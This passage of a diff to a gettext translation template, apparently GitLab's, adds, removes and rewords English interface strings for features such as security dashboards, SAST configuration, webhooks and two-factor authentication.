+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Edit dashboard"
-msgstr ""
-
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
